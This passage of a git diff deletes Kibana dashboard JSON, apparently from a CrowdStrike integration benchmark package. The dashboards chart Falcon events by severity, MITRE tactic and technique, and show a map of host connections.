-                                                "color": "#000000"
-                                            },
-                                            "type": "STATIC"
-                                        },
-                                        "labelSize": {
-                                            "options": {
-                                                "size": 14
-                                            },
-                                            "type": "STATIC"
-                                        },
-                                        "labelText": {
-                                            "options": {
-                                                "value": ""
-                                            },
-                                            "type": "STATIC"
-                                        },
-                                        "lineColor": {
-                                            "options": {
-                                                "color": "#41937c"
-                                            },
-                                            "type": "STATIC"
-                                        },
-                                        "lineWidth": {
-                                            "options": {
-                                                "size": 1
-                                            },
-                                            "type": "STATIC"
-                                        },
-                                        "symbolizeAs": {
-                                            "options": {
-                                                "value": "circle"
-                                            }
-                                        }
-                                    },
-                                    "type": "VECTOR"
-                                },
-                                "type": "BLENDED_VECTOR",
-                                "visible": true
-                            },
-                            {
-                                "alpha": 0.75,
-                                "id": "1b3c966b-6756-41dc-8875-a936e36dd0c2",
-                                "includeInFitToBounds": true,
-                                "joins": [],
-                                "label": "Connections",
-                                "maxZoom": 24,
-                                "minZoom": 0,
-                                "sourceDescriptor": {
-                                    "applyGlobalQuery": true,
-                                    "applyGlobalTime": true,
-                                    "destGeoField": "destination.geo.location",
-                                    "id": "0314931e-5e8d-4609-be8a-b478a6afed11",
-                                    "indexPatternRefName": "layer_2_source_index_pattern",
-                                    "metrics": [
-                                        {
-                                            "type": "count"
-                                        }
-                                    ],
-                                    "sourceGeoField": "source.geo.location",
-                                    "type": "ES_PEW_PEW"
-                                },
-                                "style": {
-                                    "isTimeAware": true,
-                                    "properties": {
-                                        "fillColor": {
-                                            "options": {
-                                                "color": "#54B399"
-                                            },
-                                            "type": "STATIC"
-                                        },
-                                        "icon": {
-                                            "options": {
-                                                "value": "marker"
-                                            },
-                                            "type": "STATIC"
-                                        },
-                                        "iconOrientation": {
-                                            "options": {
-                                                "orientation": 0
-                                            },
-                                            "type": "STATIC"
-                                        },
-                                        "iconSize": {
-                                            "options": {
-                                                "size": 6
-                                            },
-                                            "type": "STATIC"
-                                        },
-                                        "labelBorderColor": {
-                                            "options": {
-                                                "color": "#FFFFFF"
-                                            },
-                                            "type": "STATIC"
-                                        },
-                                        "labelBorderSize": {
-                                            "options": {
-                                                "size": "SMALL"
-                                            }
-                                        },
-                                        "labelColor": {
-                                            "options": {
-                                                "color": "#000000"
-                                            },
-                                            "type": "STATIC"
-                                        },
-                                        "labelSize": {
-                                            "options": {
-                                                "size": 14
-                                            },
-                                            "type": "STATIC"
-                                        },
-                                        "labelText": {
-                                            "options": {
-                                                "value": ""
-                                            },
-                                            "type": "STATIC"
-                                        },
-                                        "lineColor": {
-                                            "options": {
-                                                "color": "#494193"
-                                            },
-                                            "type": "STATIC"
-                                        },
-                                        "lineWidth": {
-                                            "options": {
-                                                "field": {
-                                                    "name": "doc_count",
-                                                    "origin": "source"
-                                                },
-                                                "fieldMetaOptions": {
-                                                    "isEnabled": true,
-                                                    "sigma": 3
-                                                },
-                                                "maxSize": 10,
-                                                "minSize": 1
-                                            },
-                                            "type": "DYNAMIC"
-                                        },
-                                        "symbolizeAs": {
-                                            "options": {
-                                                "value": "circle"
-                                            }
-                                        }
-                                    },
-                                    "type": "VECTOR"
-                                },
-                                "type": "GEOJSON_VECTOR",
-                                "visible": true
-                            }
-                        ],
-                        "mapStateJSON": {
-                            "center": {
-                                "lat": 19.94277,
-                                "lon": 0
-                            },
-                            "filters": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "refreshConfig": {
-                                "interval": 0,
-                                "isPaused": true
-                            },
-                            "settings": {
-                                "autoFitToDataBounds": false,
-                                "backgroundColor": "#ffffff",
-                                "browserLocation": {
-                                    "zoom": 2
-                                },
-                                "disableInteractive": false,
-                                "disableTooltipControl": false,
-                                "fixedLocation": {
-                                    "lat": 0,
-                                    "lon": 0,
-                                    "zoom": 2
-                                },
-                                "hideLayerControl": false,
-                                "hideToolbarOverlay": false,
-                                "hideViewControl": false,
-                                "initialLocation": "LAST_SAVED_LOCATION",
-                                "maxZoom": 24,
-                                "minZoom": 0,
-                                "showScaleControl": false,
-                                "showSpatialFilters": true,
-                                "showTimesliderToggleButton": true,
-                                "spatialFiltersAlpa": 0.3,
-                                "spatialFiltersFillColor": "#DA8B45",
-                                "spatialFiltersLineColor": "#DA8B45"
-                            },
-                            "timeFilters": {
-                                "from": "now-15M",
-                                "to": "now"
-                            },
-                            "zoom": 1.78
-                        },
-                        "title": "",
-                        "uiStateJSON": {
-                            "isLayerTOCOpen": true,
-                            "openTOCDetails": []
-                        }
-                    },
-                    "enhancements": {
-                        "dynamicActions": {
-                            "events": []
-                        }
-                    },
-                    "hiddenLayers": [],
-                    "hidePanelTitles": false,
-                    "isLayerTOCOpen": true,
-                    "mapBuffer": {
-                        "maxLat": 85.05113,
-                        "maxLon": 360,
-                        "minLat": -85.05113,
-                        "minLon": -360
-                    },
-                    "mapCenter": {
-                        "lat": 24.98,
-                        "lon": 12.29359,
-                        "zoom": 0.73
-                    },
-                    "openTOCDetails": []
-                },
-                "gridData": {
-                    "h": 24,
-                    "i": "26961648-cc31-4ed6-a378-698523307b21",
-                    "w": 41,
-                    "x": 7,
-                    "y": 33
-                },
-                "panelIndex": "26961648-cc31-4ed6-a378-698523307b21",
-                "title": "Agents and connections",
-                "type": "map"
-            }
-        ],
-        "timeRestore": false,
-        "title": "[Crowdstrike] FDR Overview",
-        "version": 2
-    },
-    "coreMigrationVersion": "8.8.0",
-    "created_at": "2025-03-01T12:27:17.619Z",
-    "id": "crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f",
-    "managed": false,
-    "references": [
-        {
-            "id": "logs-*",
-            "name": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "e48dfc31-ef5f-4696-904c-c5320e8dcac9:indexpattern-datasource-current-indexpattern",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "e48dfc31-ef5f-4696-904c-c5320e8dcac9:indexpattern-datasource-layer-880420b9-97fb-4f5a-8dd2-36f95cb02182",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "355965cd-eb00-4357-bdd8-1640627d1191:indexpattern-datasource-layer-c8088761-74a6-433a-a405-f26c709cebe3",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "0325f703-a3cc-4a43-b621-974baae08c00:indexpattern-datasource-layer-911bafb0-aeb7-4830-8a40-6166c96fb123",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "7564f2a4-7167-4d71-8ce2-ece32f217487:indexpattern-datasource-layer-1928976e-020d-48bd-9887-d9fd1925f69e",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "7564f2a4-7167-4d71-8ce2-ece32f217487:37d34cfa-17ff-4e3e-a584-1b49cec083a5",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "32c13eb0-f12d-44d8-8ec4-ea778840fabf:indexpattern-datasource-layer-35e353f8-fd89-43a0-ad8c-c5d202f098d2",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "32c13eb0-f12d-44d8-8ec4-ea778840fabf:4c5d87a9-3846-4fea-8db2-3ee8315e919e",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "26961648-cc31-4ed6-a378-698523307b21:layer_1_source_index_pattern",
-            "type": "index-pattern"
-        },
-        {
-            "id": "logs-*",
-            "name": "26961648-cc31-4ed6-a378-698523307b21:layer_2_source_index_pattern",
-            "type": "index-pattern"
-        }
-    ],
-    "type": "dashboard",
-    "typeMigrationVersion": "10.2.0",
-    "updated_by": "u_mGBROF_q5bmFCATbLXAcCwKa0k8JvONAwSruelyKA5E_0"
-}
\ No newline at end of file
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750.json
deleted file mode 100644
index 2ff4281d25..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750.json
+++ /dev/null
@@ -1,1208 +0,0 @@
-{
-    "attributes": {
-        "controlGroupInput": {
-            "chainingSystem": "HIERARCHICAL",
-            "controlStyle": "oneLine",
-            "ignoreParentSettingsJSON": {
-                "ignoreFilters": false,
-                "ignoreQuery": false,
-                "ignoreTimerange": false,
-                "ignoreValidations": false
-            },
-            "panelsJSON": {
-                "2f027408-9e82-4fbe-8c59-f32e933b50f0": {
-                    "explicitInput": {
-                        "dataViewId": "logs-*",
-                        "fieldName": "host.name",
-                        "id": "2f027408-9e82-4fbe-8c59-f32e933b50f0",
-                        "searchTechnique": "prefix",
-                        "selectedOptions": [],
-                        "sort": {
-                            "by": "_count",
-                            "direction": "desc"
-                        },
-                        "title": "Hostname"
-                    },
-                    "grow": true,
-                    "order": 0,
-                    "type": "optionsListControl",
-                    "width": "small"
-                },
-                "3dc73766-aa88-46ff-a02d-b0e600136550": {
-                    "explicitInput": {
-                        "dataViewId": "logs-*",
-                        "fieldName": "event.action",
-                        "id": "3dc73766-aa88-46ff-a02d-b0e600136550",
-                        "searchTechnique": "prefix",
-                        "selectedOptions": [],
-                        "sort": {
-                            "by": "_count",
-                            "direction": "desc"
-                        },
-                        "title": "Event Type"
-                    },
-                    "grow": true,
-                    "order": 1,
-                    "type": "optionsListControl",
-                    "width": "small"
-                },
-                "bd86c535-6911-441c-a29d-8a48759b461f": {
-                    "explicitInput": {
-                        "dataViewId": "logs-*",
-                        "fieldName": "threat.technique.name",
-                        "id": "bd86c535-6911-441c-a29d-8a48759b461f",
-                        "searchTechnique": "prefix",
-                        "selectedOptions": [],
-                        "sort": {
-                            "by": "_count",
-                            "direction": "desc"
-                        },
-                        "title": "MITRE Technique Name"
-                    },
-                    "grow": false,
-                    "order": 4,
-                    "type": "optionsListControl",
-                    "width": "medium"
-                },
-                "c94c3167-3962-4186-b809-1f2506632789": {
-                    "explicitInput": {
-                        "dataViewId": "logs-*",
-                        "fieldName": "crowdstrike.event.SeverityName",
-                        "id": "c94c3167-3962-4186-b809-1f2506632789",
-                        "searchTechnique": "prefix",
-                        "selectedOptions": [],
-                        "sort": {
-                            "by": "_count",
-                            "direction": "desc"
-                        },
-                        "title": "Severity"
-                    },
-                    "grow": true,
-                    "order": 2,
-                    "type": "optionsListControl",
-                    "width": "small"
-                },
-                "fa9232f2-d8fd-4087-989d-c4be652027bb": {
-                    "explicitInput": {
-                        "dataViewId": "logs-*",
-                        "fieldName": "threat.tactic.name",
-                        "id": "fa9232f2-d8fd-4087-989d-c4be652027bb",
-                        "searchTechnique": "prefix",
-                        "selectedOptions": [],
-                        "sort": {
-                            "by": "_count",
-                            "direction": "desc"
-                        },
-                        "title": "MITRE Tactic Name"
-                    },
-                    "grow": true,
-                    "order": 3,
-                    "type": "optionsListControl",
-                    "width": "small"
-                }
-            },
-            "showApplySelections": false
-        },
-        "description": "",
-        "kibanaSavedObjectMeta": {
-            "searchSourceJSON": {
-                "filter": [
-                    {
-                        "$state": {
-                            "store": "appState"
-                        },
-                        "meta": {
-                            "alias": null,
-                            "disabled": false,
-                            "field": "data_stream.dataset",
-                            "indexRefName": "kibanaSavedObjectMeta.searchSourceJSON.filter[0].meta.index",
-                            "key": "data_stream.dataset",
-                            "negate": false,
-                            "params": {
-                                "query": "crowdstrike.falcon"
-                            },
-                            "type": "phrase"
-                        },
-                        "query": {
-                            "match_phrase": {
-                                "data_stream.dataset": "crowdstrike.falcon"
-                            }
-                        }
-                    }
-                ],
-                "query": {
-                    "language": "kuery",
-                    "query": ""
-                }
-            }
-        },
-        "optionsJSON": {
-            "hidePanelTitles": false,
-            "syncColors": false,
-            "syncCursor": true,
-            "syncTooltips": false,
-            "useMargins": true
-        },
-        "panelsJSON": [
-            {
-                "embeddableConfig": {
-                    "enhancements": {
-                        "dynamicActions": {
-                            "events": []
-                        }
-                    },
-                    "hidePanelTitles": false,
-                    "savedVis": {
-                        "data": {
-                            "aggs": [],
-                            "searchSource": {
-                                "filter": [],
-                                "query": {
-                                    "language": "kuery",
-                                    "query": ""
-                                }
-                            }
-                        },
-                        "description": "",
-                        "id": "",
-                        "params": {
-                            "fontSize": 12,
-                            "markdown": "## **Crowdstrike**\n\n### Navigation\n\n[Overview](/app/dashboards#/view/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750) \n\n[FDR](/app/dashboards#/view/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f)  \n\n**Falcon** \n\n[Alert](/app/dashboards#/view/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c)\n\n[Host](/app/dashboards#/view/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c)\n\n[Vulnerability](/app/dashboards#/view/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5)\n\n### Overview\n\nThis dashboards shows statistics about the different Incidents and events collected from Crowdstrike Falcon.\n\n",
-                            "openLinksInNewTab": false
-                        },
-                        "title": "",
-                        "type": "markdown",
-                        "uiState": {}
-                    }
-                },
-                "gridData": {
-                    "h": 69,
-                    "i": "90059f1b-88f7-4e04-b755-081233d12559",
-                    "w": 7,
-                    "x": 0,
-                    "y": 0
-                },
-                "panelIndex": "90059f1b-88f7-4e04-b755-081233d12559",
-                "title": "Table of Contents",
-                "type": "visualization"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
-                                "type": "index-pattern"
-                            },
-                            {
-                                "id": "logs-*",
-                                "name": "af740c82-0b38-407b-bd61-d2d63b77b76e",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "layers": {
-                                        "cded08fb-72d8-4fff-bd9b-ca53189f9363": {
-                                            "columnOrder": [
-                                                "2c916dee-9123-4c38-837b-848078cac0a5",
-                                                "d11e6000-056a-4e47-add0-b0942e7bba2c"
-                                            ],
-                                            "columns": {
-                                                "2c916dee-9123-4c38-837b-848078cac0a5": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "ECS Category Types",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": true,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "secondaryFields": [],
-                                                        "size": 10
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "event.category"
-                                                },
-                                                "d11e6000-056a-4e47-add0-b0942e7bba2c": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": true
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                }
-                                            },
-                                            "incompleteColumns": {},
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [
-                                {
-                                    "$state": {
-                                        "store": "appState"
-                                    },
-                                    "meta": {
-                                        "alias": null,
-                                        "disabled": false,
-                                        "index": "af740c82-0b38-407b-bd61-d2d63b77b76e",
-                                        "negate": false,
-                                        "params": [
-                                            {
-                                                "meta": {
-                                                    "alias": null,
-                                                    "disabled": false,
-                                                    "field": "data_stream.dataset",
-                                                    "index": "logs-*",
-                                                    "key": "data_stream.dataset",
-                                                    "negate": false,
-                                                    "params": {
-                                                        "query": "crowdstrike.falcon"
-                                                    },
-                                                    "type": "phrase"
-                                                },
-                                                "query": {
-                                                    "match_phrase": {
-                                                        "data_stream.dataset": "crowdstrike.falcon"
-                                                    }
-                                                }
-                                            },
-                                            {
-                                                "meta": {
-                                                    "alias": null,
-                                                    "disabled": false,
-                                                    "field": "crowdstrike.event.Category",
-                                                    "index": "logs-*",
-                                                    "key": "crowdstrike.event.Category",
-                                                    "negate": false,
-                                                    "params": {
-                                                        "query": "Incidents"
-                                                    },
-                                                    "type": "phrase"
-                                                },
-                                                "query": {
-                                                    "match_phrase": {
-                                                        "crowdstrike.event.Category": "Incidents"
-                                                    }
-                                                }
-                                            }
-                                        ],
-                                        "relation": "AND",
-                                        "type": "combined"
-                                    },
-                                    "query": {}
-                                }
-                            ],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "layers": [
-                                    {
-                                        "categoryDisplay": "default",
-                                        "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363",
-                                        "layerType": "data",
-                                        "legendDisplay": "default",
-                                        "metrics": [
-                                            "d11e6000-056a-4e47-add0-b0942e7bba2c"
-                                        ],
-                                        "nestedLegend": false,
-                                        "numberDisplay": "percent",
-                                        "primaryGroups": [
-                                            "2c916dee-9123-4c38-837b-848078cac0a5"
-                                        ]
-                                    }
-                                ],
-                                "shape": "donut"
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsPie"
-                    },
-                    "enhancements": {},
-                    "hidePanelTitles": false
-                },
-                "gridData": {
-                    "h": 17,
-                    "i": "f1412dea-44cf-41dc-88e0-6e4d70ccbe80",
-                    "w": 10,
-                    "x": 7,
-                    "y": 0
-                },
-                "panelIndex": "f1412dea-44cf-41dc-88e0-6e4d70ccbe80",
-                "title": "Incidents by ECS Category",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "layers": {
-                                        "cded08fb-72d8-4fff-bd9b-ca53189f9363": {
-                                            "columnOrder": [
-                                                "2c916dee-9123-4c38-837b-848078cac0a5",
-                                                "d11e6000-056a-4e47-add0-b0942e7bba2c"
-                                            ],
-                                            "columns": {
-                                                "2c916dee-9123-4c38-837b-848078cac0a5": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "Severity",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": true,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "secondaryFields": [],
-                                                        "size": 10
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "crowdstrike.event.SeverityName"
-                                                },
-                                                "d11e6000-056a-4e47-add0-b0942e7bba2c": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": true
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                }
-                                            },
-                                            "incompleteColumns": {},
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "layers": [
-                                    {
-                                        "categoryDisplay": "default",
-                                        "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363",
-                                        "layerType": "data",
-                                        "legendDisplay": "default",
-                                        "metrics": [
-                                            "d11e6000-056a-4e47-add0-b0942e7bba2c"
-                                        ],
-                                        "nestedLegend": false,
-                                        "numberDisplay": "percent",
-                                        "primaryGroups": [
-                                            "2c916dee-9123-4c38-837b-848078cac0a5"
-                                        ]
-                                    }
-                                ],
-                                "shape": "donut"
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsPie"
-                    },
-                    "enhancements": {},
-                    "hidePanelTitles": false
-                },
-                "gridData": {
-                    "h": 17,
-                    "i": "3b8281fe-18b6-4215-ac47-2fa94d17fe18",
-                    "w": 10,
-                    "x": 17,
-                    "y": 0
-                },
-                "panelIndex": "3b8281fe-18b6-4215-ac47-2fa94d17fe18",
-                "title": "Events by Severity",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "layers": {
-                                        "cded08fb-72d8-4fff-bd9b-ca53189f9363": {
-                                            "columnOrder": [
-                                                "2c916dee-9123-4c38-837b-848078cac0a5",
-                                                "d11e6000-056a-4e47-add0-b0942e7bba2c"
-                                            ],
-                                            "columns": {
-                                                "2c916dee-9123-4c38-837b-848078cac0a5": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "Technique",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": true,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "secondaryFields": [],
-                                                        "size": 10
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "threat.technique.name"
-                                                },
-                                                "d11e6000-056a-4e47-add0-b0942e7bba2c": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": true
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                }
-                                            },
-                                            "incompleteColumns": {},
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "layers": [
-                                    {
-                                        "categoryDisplay": "default",
-                                        "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363",
-                                        "layerType": "data",
-                                        "legendDisplay": "default",
-                                        "metrics": [
-                                            "d11e6000-056a-4e47-add0-b0942e7bba2c"
-                                        ],
-                                        "nestedLegend": false,
-                                        "numberDisplay": "percent",
-                                        "primaryGroups": [
-                                            "2c916dee-9123-4c38-837b-848078cac0a5"
-                                        ]
-                                    }
-                                ],
-                                "shape": "donut"
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsPie"
-                    },
-                    "enhancements": {},
-                    "hidePanelTitles": false
-                },
-                "gridData": {
-                    "h": 17,
-                    "i": "3a6b30d6-f464-493e-8f38-1f9282906372",
-                    "w": 10,
-                    "x": 27,
-                    "y": 0
-                },
-                "panelIndex": "3a6b30d6-f464-493e-8f38-1f9282906372",
-                "title": "Events by Technique Name",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "layers": {
-                                        "cded08fb-72d8-4fff-bd9b-ca53189f9363": {
-                                            "columnOrder": [
-                                                "2c916dee-9123-4c38-837b-848078cac0a5",
-                                                "d11e6000-056a-4e47-add0-b0942e7bba2c"
-                                            ],
-                                            "columns": {
-                                                "2c916dee-9123-4c38-837b-848078cac0a5": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "Tactic",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": true,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "secondaryFields": [],
-                                                        "size": 10
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "threat.tactic.name"
-                                                },
-                                                "d11e6000-056a-4e47-add0-b0942e7bba2c": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": true
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                }
-                                            },
-                                            "incompleteColumns": {},
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "layers": [
-                                    {
-                                        "categoryDisplay": "default",
-                                        "layerId": "cded08fb-72d8-4fff-bd9b-ca53189f9363",
-                                        "layerType": "data",
-                                        "legendDisplay": "default",
-                                        "metrics": [
-                                            "d11e6000-056a-4e47-add0-b0942e7bba2c"
-                                        ],
-                                        "nestedLegend": false,
-                                        "numberDisplay": "percent",
-                                        "primaryGroups": [
-                                            "2c916dee-9123-4c38-837b-848078cac0a5"
-                                        ]
-                                    }
-                                ],
-                                "shape": "donut"
-                            }
-                        },
-                        "title": "",
-                        "type": "lens",
-                        "visualizationType": "lnsPie"
-                    },
-                    "enhancements": {},
-                    "hidePanelTitles": false
-                },
-                "gridData": {
-                    "h": 17,
-                    "i": "aa89195e-3589-44fa-aac8-3e0d8e27de63",
-                    "w": 11,
-                    "x": 37,
-                    "y": 0
-                },
-                "panelIndex": "aa89195e-3589-44fa-aac8-3e0d8e27de63",
-                "title": "Events by Tactic Name",
-                "type": "lens"
-            },
-            {
-                "embeddableConfig": {
-                    "attributes": {
-                        "references": [
-                            {
-                                "id": "logs-*",
-                                "name": "indexpattern-datasource-layer-cded08fb-72d8-4fff-bd9b-ca53189f9363",
-                                "type": "index-pattern"
-                            }
-                        ],
-                        "state": {
-                            "adHocDataViews": {},
-                            "datasourceStates": {
-                                "formBased": {
-                                    "layers": {
-                                        "cded08fb-72d8-4fff-bd9b-ca53189f9363": {
-                                            "columnOrder": [
-                                                "b6bfb664-2c78-419f-9616-f7c4b40f580e",
-                                                "3d6bbe8c-883f-4b3d-8680-ee75b7b8bc93",
-                                                "d11e6000-056a-4e47-add0-b0942e7bba2c"
-                                            ],
-                                            "columns": {
-                                                "3d6bbe8c-883f-4b3d-8680-ee75b7b8bc93": {
-                                                    "dataType": "date",
-                                                    "isBucketed": true,
-                                                    "label": "@timestamp",
-                                                    "operationType": "date_histogram",
-                                                    "params": {
-                                                        "dropPartials": false,
-                                                        "includeEmptyRows": true,
-                                                        "interval": "auto"
-                                                    },
-                                                    "scale": "interval",
-                                                    "sourceField": "@timestamp"
-                                                },
-                                                "b6bfb664-2c78-419f-9616-f7c4b40f580e": {
-                                                    "customLabel": true,
-                                                    "dataType": "string",
-                                                    "isBucketed": true,
-                                                    "label": "Activity by Event type",
-                                                    "operationType": "terms",
-                                                    "params": {
-                                                        "exclude": [],
-                                                        "excludeIsRegex": false,
-                                                        "include": [],
-                                                        "includeIsRegex": false,
-                                                        "missingBucket": false,
-                                                        "orderBy": {
-                                                            "columnId": "d11e6000-056a-4e47-add0-b0942e7bba2c",
-                                                            "type": "column"
-                                                        },
-                                                        "orderDirection": "desc",
-                                                        "otherBucket": true,
-                                                        "parentFormat": {
-                                                            "id": "terms"
-                                                        },
-                                                        "secondaryFields": [],
-                                                        "size": 5
-                                                    },
-                                                    "scale": "ordinal",
-                                                    "sourceField": "event.action"
-                                                },
-                                                "d11e6000-056a-4e47-add0-b0942e7bba2c": {
-                                                    "customLabel": true,
-                                                    "dataType": "number",
-                                                    "isBucketed": false,
-                                                    "label": "Count",
-                                                    "operationType": "count",
-                                                    "params": {
-                                                        "emptyAsNull": true
-                                                    },
-                                                    "scale": "ratio",
-                                                    "sourceField": "___records___"
-                                                }
-                                            },
-                                            "incompleteColumns": {},
-                                            "sampling": 1
-                                        }
-                                    }
-                                },
-                                "textBased": {
-                                    "layers": {}
-                                }
-                            },
-                            "filters": [],
-                            "internalReferences": [],
-                            "query": {
-                                "language": "kuery",
-                                "query": ""
-                            },
-                            "visualization": {
-                                "axisTitlesVisibilitySettings": {
-                                    "x": true,
-                                    "yLeft": true,
-                                    "yRight": true
